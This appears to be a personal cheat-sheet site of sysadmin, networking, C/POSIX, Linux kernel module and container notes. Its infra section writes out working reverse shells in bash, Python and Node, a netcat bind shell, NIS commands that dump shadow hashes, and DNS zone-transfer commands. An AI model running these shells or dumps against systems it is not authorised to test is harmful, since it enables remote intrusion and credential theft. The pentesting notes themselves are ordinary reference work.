Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

about

Our memory stopped working as it used to... but we won't let that stop us.

Web Security

Security Headers

sslscan

sslscan $url

curl

curl $endpoint -D-

Recon

nuclei

nuclei -u $url

whatweb

whatweb $url

waybackurls

waybackurls $url

gau

gau $url

Enumeration

Folders

Fuzzers

Infra

shellwerkz

You may need to use nc with a proxy.

Reverse shell

bash

mkfifo /tmp/ffifo; /bin/bash -i < /tmp/ffifo 2>&1 | nc $remote_ip $port > /tmp/ffifo

python

import os
import socket
import subprocess

s = socket.socket()
s.connect((HOST, PORT))
 
for fd in (0, 1, 2):
    os.dup2(s.fileno(), fd)
 
subprocess.call(["/bin/bash", "-i"])

node

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/bash", ["-i"]);
    var client = new net.Socket();
    client.connect(PORT, HOST, function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();

Bind shell

bash

mkfifo /tmp/f
/bin/sh -i 2>&1 < /tmp/f | nc -lvp $port > /tmp/f

DNS Zone Transfer

host

host -l <domain> <dns-server>

dig

dig axfr <domain> @<dns-server>

NIS

ypdomainname
ypcat passwd.byname
ypcat shadow.byname
ypcat hosts.byname

aws

Post-Exploitation

Networking

DNS notes

  • registres

    • A
    • CNAME
    • NS
  • zone.

bind9

Name Server detection

dig

dig ns $domain +short

host

host -t ns $domain

netcat

listen

nc -lvp $port

connect

nc $host $port -v

connect with proxy

nc -X connect -x $proxy_host:$proxy_port $host $port -v

forward a local port to another local port

mkfifo /tmp/f;
nc -lpv $to < /tmp/f | nc localhost $from > /tmp/f

Port forwarding

You can "always" use ssh.

forward a local port to another local port

nc

mkfifo /tmp/f;
nc -lvp $to < /tmp/f | nc localhost $from > /tmp/f

For instance, you can use this to forward the port 22 to the 443.

SSH

Local port forwarding

ssh -L $lport:$dhost:$dport $user@$sshserver

Remote port forwarding

ssh -R $rport:$dhost:$lport $user@$sshserver

B:1 -> A:2 <- C:3  <---> internet

NOTE: this option can be useless if you have no root access to change the sshd_config file in the machine A, and restart the ssh service, since you need to set GatewayPorts yes in order to let others than the ssh server machine could access to dhost. However, there's a workaround: Remote Port Forwarding from B:port1 to one remote server A:port2 and then a Local Port Forwarding to the same A:port2 machine using a local machine C:port3 to which you have more access. You can know access to the service in B:port1 using C:port3.

Dynamic port forwarding

ssh -D $lport $user@$server

firewall stuff

nftables

nft add table inet filter_table
nft add chain inet filter_table filter_chain '{ type filter hook input priority filter; policy drop; }'
nft add rule inet filter_table filter_chain tcp dport 22 accept

test

nc -lvp
nc -lvp 80
nc -lvp 80
nc -lvp 12345

Programming

This is just high level programming. For kernel programming go to Linux kernel.

Remember your gists

C

Signatures

int shm_open(const char *name, int oflag, mode_t mode);
int shm_unlink(const char *name);
void *mmap(void *addr, size_t length, int prot, int flags,
           int fd, off_t offset);
int munmap(void *addr, size_t length);
int ftruncate(int fd, off_t length);


#include <semaphore.h>
struct timespec { 
    time_t tv_sec;      /* Seconds */ 
    long   tv_nsec;     /* Nanoseconds [0 .. 999999999] */
};

int sem_init(sem_t *sem, int pshared, unsigned int value);
sem_t *sem_open (const char *name, int oflag);
sem_t *sem_open (const char *name, int oflag,
                 mode_t mode, unsigned int value);
int sem_post (sem_t *sem);
int sem_wait (sem_t *sem);
int sem_trywait (sem_t *sem);
int sem_timedwait (sem_t *sem, const struct timespec *abs_timeout);
int sem_getvalue (sem_t *sem, int *sval);
int sem_unlink (const char *name);
int sem_destroy (sem_t *sem);


struct sigaction {
    void     (*sa_handler)(int);
    void     (*sa_sigaction)(int, siginfo_t *, void *);
    sigset_t   sa_mask;
    int        sa_flags;
    void     (*sa_restorer)(void);
};

int sigaction(int signum, const struct sigaction *act,
              struct sigaction *oldact);
int sigemptyset(sigset_t *set);
int sigfillset(sigset_t *set);
int sigaddset(sigset_t *set, int signum);
int sigdelset(sigset_t *set, int signum);
int sigismember(const sigset_t *set, int signum);
int sigprocmask(int how, const sigset_t *set, sigset_t *oldset);
int kill(pid_t pid, int sig);


int mkfifo(const char *pathname, mode_t mode);
int pipe(int pipefd[2]);
int pipe2(int pipefd[2], int flags);
int dup(int oldfd);
int dup2(int oldfd, int newfd);
int dup3(int oldfd, int newfd, int flags);


struct sockaddr {
    sa_family_t sa_family;
    char        sa_data[14];
}

struct sockaddr_un {
    sa_family_t sun_family;
    char        sun_path[108];
}

struct sockaddr_in {
    sa_family_t    sin_family; /* address family: AF_INET */
    in_port_t      sin_port;   /* port in network byte order */
    struct in_addr sin_addr;   /* internet address */
 /* char sin_zero[8]; */
};

/* Internet address. */
struct in_addr {
    uint32_t       s_addr;     /* address in network byte order */
};


int socket(int domain, int type, int protocol);
int connect(int sockfd, const struct sockaddr *addr,
            socklen_t addrlen);
int bind(int sockfd, const struct sockaddr *addr,
         socklen_t addrlen);
int listen(int sockfd, int backlog);
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
ssize_t recv(int sockfd, void *buf, size_t len, int flags);
ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags,
                struct sockaddr *src_addr, socklen_t *addrlen);
ssize_t recvmsg(int sockfd, struct msghdr *msg, int flags);
ssize_t send(int sockfd, const void *buf, size_t len, int flags);
ssize_t sendto(int sockfd, const void *buf, size_t len, int flags,
               const struct sockaddr *dest_addr, socklen_t addrlen);
ssize_t sendmsg(int sockfd, const struct msghdr *msg, int flags);


struct addrinfo {
    int              ai_flags;
    int              ai_family;
    int              ai_socktype;
    int              ai_protocol;
    socklen_t        ai_addrlen;
    struct sockaddr *ai_addr;
    char            *ai_canonname;
    struct addrinfo *ai_next;
};

int inet_aton(const char *cp, struct in_addr *inp);
in_addr_t inet_addr(const char *cp);
in_addr_t inet_network(const char *cp);
char *inet_ntoa(struct in_addr in);
struct in_addr inet_makeaddr(in_addr_t net, in_addr_t host);
in_addr_t inet_lnaof(struct in_addr in);
in_addr_t inet_netof(struct in_addr in);
int getaddrinfo(const char *node, const char *service,
                const struct addrinfo *hints,
                struct addrinfo **res);
void freeaddrinfo(struct addrinfo *res);
uint32_t htonl(uint32_t hostlong);
uint16_t htons(uint16_t hostshort);
uint32_t ntohl(uint32_t netlong);
uint16_t ntohs(uint16_t netshort);


int execl(const char *pathname, const char *arg, ...
                /* (char  *) NULL */);
int execlp(const char *file, const char *arg, ...
                /* (char  *) NULL */);
int execle(const char *pathname, const char *arg, ...
                /*, (char *) NULL, char *const envp[] */);
int execv(const char *pathname, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[],
                char *const envp[]);

int pthread_create(pthread_t *thread, const pthread_attr_t *attr,
                   void *(*start_routine) (void *), void *arg);
int pthread_join(pthread_t thread, void **retval);
int pthread_detach(pthread_t thread);
void pthread_exit(void *retval);


C++

Shared memory

Creation

struct s sh;

int fd = shm_open(name, O_CREAT|O_RDWR|O_TRUNC, mode);

if (fd == -1) {
    perror("shm_open");
    exit(errno);
}

int f = ftruncate(fd, sizeof(*sh));

if (f < 0) {
    perror("ftruncate");
    close(fd);
    exit(errno);
}

sh = mmap(0, sizeof(*sh), PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
close(fd);

if (r == MAP_FAILED) {
    perror("mmap");
    exit(errno);
}

Open

int fd = shm_open(name, O_RDWR, 0666);

if (fd < -1) {
    perror("shm_open");
    return NULL;
}

struct s * shm = mmap(0, sizeof(*shm), PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);

if (shm == MAP_FAILED) {
    perror("mmap");

    return NULL;
}

close(fd);

Close

int r = munmap(p, sizeof(*p));

if (r == -1) {
    perror("munmap");
    exit(errno);
}

Destroy

shm_unlink(name);

Semaphores

Creation

sem_t sem;
sem_init(&sem, 1, v);

Waiting

sem_wait(&sem);

Posting

sem_post(&sem);

Closing

sem_close(&sem)

Destroy

sem_destroy(name);

Signals

C

Setting signal handlers

handle_fux is always of type void (*) (int).

struct sigaction sa;
sa.sa_handler = handle_fux;
sa.sa_flags = 0;
sigemptyset(&sa.sa_mask);
sigaction(SIGINT, &sa, NULL);
signal(SIGINT, handler_fux)

Masking signals

/* Prototype for the glibc wrapper function */
int sigprocmask(int how, const sigset_t *set, sigset_t *oldset);

about how:

SIG_BLOCK. The set of blocked signals is the union of the current set and the set argument.

SIG_UNBLOCK. The signals in set are removed from the current set of blockedsignals. It is permissible to attempt to unblock a signal whichis not blocked.

SIG_SETMASK. The set of blocked signals is set to the argument set.

sigset_t mask;
sigemptyset(&mask);
sigaddset(&mask, SIGINT);
sigprocmask(SIG_BLOCK, &mask, NULL);

Suspending program until signal

sigset_t negmask;
sigfillset(&negmask);
sigdelset(&negmask, SIGINT);
sigsuspend(&negmask);

Bash

trap ctrl_c INT

function ctrl_c () {
    echo -e "\n\n[*] Quitting...\n"
    exit
}

OpenSSL

x509

Certificates

Certificate requests

gdb

registers

info all-registers

functions

info functions

printing structs

print $structvar

modifying variables

set variable

Linux Kernel

Getting the sources

https://cdn.kernel.org

  1. Télécharger
  2. Vérifier la signature avec gpg --verify

Configuring the kernel

.config dans /boot/ /boot/config-$(uname -r).config

Building the kernel

make -j $(nproc)

la compilation produce les programmes suivants:

  • vmlinux : raw image
  • System.map : symbol table. used for debugging.
  • arch/<arch>/boot/bzImage : compressed image

Linux init process

sequence de démarrage de linux: initramfs

Printing

printk-formats.txt

printk() -> kernel ring buffer that can be read with dmesg

  • pr_debug()
  • pr_info()
  • pr_err()

Kernel debugging

using qemu

The next "qemu script" example was shamelessly plundered from this course. Keep an eye in the part that says -serial ...

#! /bin/bash

# Fix the paths if necessary
HDA="-drive file=lkp-arch-old.img,format=raw"
HDB="-drive file=myhome.img,format=raw"
SHARED="./share"
KERNEL=kgdbImage

if [ -z ${KDB} ]; then
    CMDLINE='root=/dev/sda1 rw console=ttyS0 kgdboc=ttyS1'
else
    CMDLINE='root=/dev/sda1 rw console=ttyS0 kgdboc=ttyS1 kgdbwait'
fi

FLAGS="--enable-kvm "
VIRTFS+=" --virtfs local,path=${SHARED},mount_tag=share,security_model=passthrough,id=share "

exec qemu-system-x86_64 ${FLAGS} \
     ${HDA} ${HDB} \
     ${VIRTFS} \
     -net user -net nic \
     -serial mon:stdio -serial tcp::1234,server,nowait \
     -boot c -m 1G \
     -kernel "${KERNEL}" \
     -append "${CMDLINE}" # -nographic
#     -initrd "./myinitramfs.cpio.gz"

Once you have your qemu vm running, you need to execute the vmlinux file with gdb. In order to "connect" to the serial port, you use target remote ...

target remote udp:host:port
target remote udp:[host]:port
target remote udp4:host:port
target remote udp6:[host]:port

After this, you could use gdb as usual

patching

Generating patches

To create patch for single file your command may look like

diff -Naru file.old file.new > file.patch

To create patch for whole directory:

diff -crB dir_old dir_new > dfile.patch

Applying patches

patch -p1 < difffile.patch

Linux Kernel Modules

List of modules

lsmod 

Getting info

modinfo <modules>

Inserting a module

insmod <module> [params]
modprobe -a <module> [params]

insdev

Shamelessly plundered from this course. It's meant to be used for driver modules. Inserts a module and creates an associated file in /dev

#!/bin/sh
# insdev <module> [params]
module=$1
shift
/sbin/insmod ./$module.ko $* || exit 1
rm -f /dev/$module
major=$(awk "\$2==\"$module\" {print \$1}" /proc/devices)
mknod /dev/$module c $major 0
chmod 666 /dev/$module

Removing a module

rmmod
modprobe -r <module> [params]

rmdev

Shamelessly plundered from this course. It's meant to be used for driver modules. Removes a module but also deletes the associated file in /dev

#!/bin/sh
# rmdev <module>
module=$1
/sbin/rmmod $module || exit 1
rm -f /dev/$module 

Make a block o char file

mknod /dev/<name> <type> <major> <minor>

Modules loaded at boot time

You can find the list in /etc/modules.

API

some headers

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>
#include <linux/slab.h>

getting arguments from shell at loading

static short int myshort = 1;
static int myint = 420;
static long int mylong = 9999;
static char *mystring = "blah";
static int myintArray[2] = { -1, -1 };
static int arr_argc = 0;

module_param(myshort, short, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP);
MODULE_PARM_DESC(myshort, "A short integer");
module_param(myint, int, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
MODULE_PARM_DESC(myint, "An integer");
module_param(mylong, long, S_IRUSR);
MODULE_PARM_DESC(mylong, "A long integer");
module_param(mystring, charp, 0000);
MODULE_PARM_DESC(mystring, "A character string");

putting module information

MODULE_DESCRIPTION("description")
MODULE_AUTHOR("author")
MODULE_LICENCE("licence")

register and unregister char devices


int register_chrdev( unsigned char major, const char *name, 
                     struct file_operations *fops);

void unregister_chrdev( unsigned int major, const char *name);

register and unregister sys modules

source

struct kobject *kobject_create_and_add(const char *name, struct kobject *parent);

ioctl

macros to define the commands

  • _IO(type, nr): request takes no argument;
  • _IOR(type, nr, datatype): request reads data from the kernel;
  • _IOW(type, nr, datatype): request writes data to the kernel;
  • _IOWR(type, nr, datatype): request reads data from and writes data to the kernel.

some examples

#define TM_MAGIC	'N'
#define TM_GET		_IOR(TM_MAGIC, 20, struct task_sample_usr)
#define TM_STOP		_IO(TM_MAGIC, 21)
#define TM_START	_IO(TM_MAGIC, 22)
#define TM_PID		_IOWR(TM_MAGIC, 23, __s64)

proc file system

dummy operations

int simple_open(struct inode *inode, struct file *file);
loff_t noop_llseek(struct file *file, loff_t offset, int whence);

kmutex

Compressing & estracting

Extracting

.tgz

tar zxvf file.tgz
gunzip -c file.tgz | tar xvf -

.tg.bz2

tar xvjf file.tg.bz2

.tar.xz

tar xf file.tar.xz

.xz

unxz file.xz
xz --decompress file.xz

.zip

unzip filezip

Compressing

.zip

zip -r filename-zip dirname

tar cvf file.tgz list of files and folders/

Mounting

.img

mount -o loop $fileimg $mntpoint

/dev/*

You can use fdisk -l to check the partition type

mount -t $type /dev/$sd  $targetfolder

umouting

umount $mntpoint

Formatting

Linux

fdisk

Windows

Partitions

fdisk


lvm

containers & vms

podman

The commands used in podman can also be used in docker. In fact, you could make an alias docker=podman and you won't have big problems.

Listing

List all containers

podman ps -a 

List images

podman image list

getting an image

podman pull $imagename

Creating an interactive container

podman create -ti --name $name $image

Starting the container

podman start $containerid

Attaching and setting interactive mode on start

podman start $containerid -ai

Attaching a container

podman attach $containername

detaching can be made with the sequence <Ctrl-p> <Ctrl-q>

Stopping the container

podman stop $containername

This could take a while. You can set a timeout with -t

Getting information of the image/container

podman inspect $name

qemu

qemu-img

qemu-img create -f vmdk $superdiskimg $size

qemu with NAT

qemu-system-x86_64 -net tap -net nic -boot d -m 2G -cdrom $isopath $diskimg

Linux Containers

Listing the container

lxc-ls -f

Creating a container

lxc-create -n $name -t $template

starting a container

lxc-start -n $name

Clonning a container

lxc-copy -n $name -N $newname

destroying a container

lxc-destroy -n $name

virtualbox

enable nested virtualisation

VBoxManage modifyvm $VirtualMachineName --nested-hw-virt on